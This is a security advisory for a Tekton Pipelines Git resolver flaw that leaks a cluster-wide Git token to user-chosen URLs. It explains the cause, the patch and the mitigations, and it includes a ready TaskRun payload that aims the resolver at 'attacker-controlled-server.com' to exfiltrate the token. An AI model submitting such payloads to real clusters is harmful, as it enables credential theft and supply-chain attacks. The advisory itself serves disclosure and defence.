CVE-2026-40161: Sensitive Token Exfiltration in Tekton Pipelines Git Resolver

Tekton Pipelines implements Kubernetes-style resources for declaring continuous integration and continuous delivery pipelines. The system utilizes various resolvers to fetch pipeline resources from external sources. The Git resolver, when operating in API mode, handles the retrieval of resources directly from Git providers like GitHub and GitLab using provider-specific APIs.

Administrators frequently configure a system-wide Git API token to simplify pipeline definitions across multiple tenants. This token resides in a centralized Kubernetes Secret, designated by the api-token-secret-namespace ConfigMap key. When configured, this fallback mechanism provides authentication for repository access when individual users do not supply their own credentials.

A security flaw exists in how the Git resolver handles user-supplied endpoint parameters alongside this fallback mechanism. The vulnerability, classified as CWE-201 (Insertion of Sensitive Information Into Sent Data), occurs because the resolver fails to validate the destination of the HTTP request before attaching the system-wide authentication token.

Attackers exploit this behavior by directing the Git resolver to an arbitrary, external URL. The controller automatically attaches the highly privileged system token to the outbound HTTP request. This results in the direct exfiltration of sensitive credentials to unauthorized third parties.

Tekton Pipelines relies on a central controller architecture to evaluate and execute pipeline resources. The controller continuously monitors the Kubernetes API server for the creation or modification of TaskRun and PipelineRun objects. Upon detecting a new resource, the controller initiates a resolution phase to gather all necessary external dependencies.

The resolution phase frequently involves fetching YAML definitions or source code from remote repositories. To support various version control systems, Tekton employs specific resolver components. The Git resolver specifically handles communications with platforms utilizing the Git protocol and associated API endpoints.

In complex enterprise environments, managing authentication for these external repositories becomes a significant administrative overhead. To simplify operations, Tekton administrators often implement a centralized authentication strategy. They provision a single ServiceAccount or a highly privileged Personal Access Token stored in a dedicated Kubernetes Secret.

The Tekton configuration exposes an api-token-secret-namespace parameter to facilitate this pattern. When defined, it dictates the exact namespace where the centralized credentials reside. The system then routes all unauthenticated repository access requests through this single cryptographic identity, effectively pooling access control.

The vulnerability originates in the getAPIToken function within pkg/resolution/resolver/git/resolver.go. This function processes authentication parameters for incoming resolution requests. The logic prioritizes user-supplied tokens but contains a fallback mechanism for requests lacking explicit credentials.

When a user submits a TaskRun or PipelineRun specifying a custom serverURL but omitting the token parameter, the function initiates the fallback sequence. The application checks the api-token-secret-namespace configuration. If configured, the resolver assigns the system namespace to the secret retrieval request, entirely ignoring the origin namespace of the user's TaskRun.

The core architectural flaw is the absence of a SubjectAccessReview (SAR) verification step. The Tekton controller operates using an elevated ServiceAccount possessing cluster-wide get permissions for Secrets. Because the controller does not verify if the requesting user holds permission to access the fallback secret, the system acts as a confused deputy.

After retrieving the secret, the controller constructs an HTTP client to fetch the required Git repository files. The client embeds the retrieved secret into the HTTP headers, typically using the Authorization: Bearer or Private-Token formats. The client then transmits this request directly to the user-supplied, unvalidated serverURL.

The vulnerability manifests in the namespace resolution logic of the Git resolver. The application relies on environmental variables and system configurations to populate missing fields in the user's request. The following snippet demonstrates the vulnerable conditional block.

// Vulnerable implementation in pkg/resolution/resolver/git/resolver.go
if apiSecret.ns == "" {
    apiSecret.ns = conf.APISecretNamespace
    if apiSecret.ns == "" {
        apiSecret.ns = os.Getenv("SYSTEM_NAMESPACE")
    }
}
// The controller subsequently uses its own ServiceAccount to fetch apiSecret

The patched implementation entirely deprecates the api-token-secret-namespace ConfigMap key. The resolution logic now enforces a strict boundary requiring the requested secret to reside within the same namespace as the TaskRun or PipelineRun initiating the request.

// Conceptual patch enforcing namespace boundaries and SAR checks
if apiSecret.ns == "" || apiSecret.ns != requestNamespace {
    return nil, errors.New("secret must reside in the same namespace as the requester")
}
 
// Implementation of SubjectAccessReview
allowed, err := checkSubjectAccessReview(ctx, user, "get", "secrets", apiSecret.ns, apiSecret.name)
if err != nil || !allowed {
    return nil, errors.New("unauthorized to access requested secret")
}

These architectural changes eliminate the confused deputy vector. Users can no longer leverage the controller's elevated privileges to access secrets outside their own namespace. Furthermore, the mandatory SubjectAccessReview ensures that the system validates the actual user's RBAC permissions before reading any cryptographic material.

Exploitation requires a low-privileged authenticated Kubernetes user with create permissions for TaskRun or PipelineRun resources. The attacker does not require direct access to the namespace containing the target secret. The environment must have the Git resolver enabled in API mode with a configured shared API token.

The attacker first provisions an external web server configured to log all incoming HTTP requests and their associated headers. This listener infrastructure captures the exfiltrated credential. Tools like netcat, a custom Python HTTP server, or managed request logging services fulfill this requirement.

The attacker submits a specifically crafted TaskRun definition to the Kubernetes API. The payload specifies the Git resolver, points the url parameter to the external listener, and explicitly omits the authentication token parameter. This omission forces the controller into the vulnerable fallback path.

apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: exfiltrate-token
spec:
  taskRef:
    resolver: git
    params:
    - name: url
      value: http://attacker-controlled-server.com/repo.git
    - name: revision
      value: main
    - name: pathInRepo
      value: task.yaml

Upon processing the resource, the Tekton controller identifies the missing token, retrieves the system fallback secret, and dispatches the HTTP request. The attacker's listener receives the incoming connection and extracts the Git Personal Access Token from the request headers.

The execution flow begins when an attacker submits the malicious payload to the cluster API. The Kubernetes control plane accepts the resource because the attacker possesses valid creation permissions. The storage of the resource immediately triggers the Tekton controller's watcher routines.

The controller reads the TaskRun definition and routes the payload to the Git resolver. The resolver parses the parameters and identifies the missing authentication token. It then triggers the fallback subroutine, querying the system configuration for the centralized secret location.

Operating under its own highly privileged ServiceAccount, the controller bypasses normal namespace boundaries. It queries the Kubernetes API for the fallback secret and extracts the token material. The controller then instantiates a new HTTP client, embeds the token into the request headers, and dispatches the connection to the attacker's listener.

The direct impact of this vulnerability is the complete compromise of the system-wide Git authentication token. Organizations typically provision these tokens with broad access scopes to accommodate various pipeline requirements across multiple projects. An attacker possessing this token gains the same level of access to the external Git provider as the token itself.

This vulnerability warrants a CVSS v3.1 scope change (S:C) because the flaw in the Tekton system directly compromises resources in an external system (the Git provider). While the Tekton cluster itself maintains integrity and availability, the confidentiality breach extends beyond the Kubernetes boundary. The CVSS base score evaluates to 7.7 (High).

With the compromised Git token, an attacker gains read access to proprietary source code, internal documentation, and potentially hardcoded infrastructure credentials stored within the repositories. If the token holds write permissions, the attacker gains the ability to inject malicious code into the organization's repositories. This enables supply chain attacks against downstream environments.

Currently, the vulnerability exists as a documented Proof of Concept. No active exploitation campaigns are recorded, and the vulnerability is absent from the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the low attack complexity and severe impact necessitate immediate remediation by affected organizations.

The official remediation requires upgrading Tekton Pipelines to version 1.10.1 or later. This release fundamentally alters the Git resolver's authentication architecture. The patch removes the deprecated cross-namespace token fallback behavior and mandates same-namespace secret resolution.

Administrators must audit existing pipeline definitions before upgrading. Pipelines relying on the centralized api-token-secret-namespace configuration will fail post-upgrade. Operations teams must replicate required API tokens into individual namespaces or transition to specific service account annotations to restore functionality.

In environments where immediate patching is impossible, security teams must deploy strict NetworkPolicies. Applying egress restrictions on the Tekton controller's namespace prevents outbound connections to unauthorized domains. The controller should only maintain network paths to approved Git provider endpoints (e.g., github.com, gitlab.com, or internal enterprise IP spaces).

Organizations should also enforce the principle of least privilege regarding Kubernetes RBAC roles. Restrict TaskRun and PipelineRun creation permissions to trusted identities and automated systems. Furthermore, administrators should audit the external Git tokens currently in use, reduce their permission scopes, and rotate them as a precautionary measure.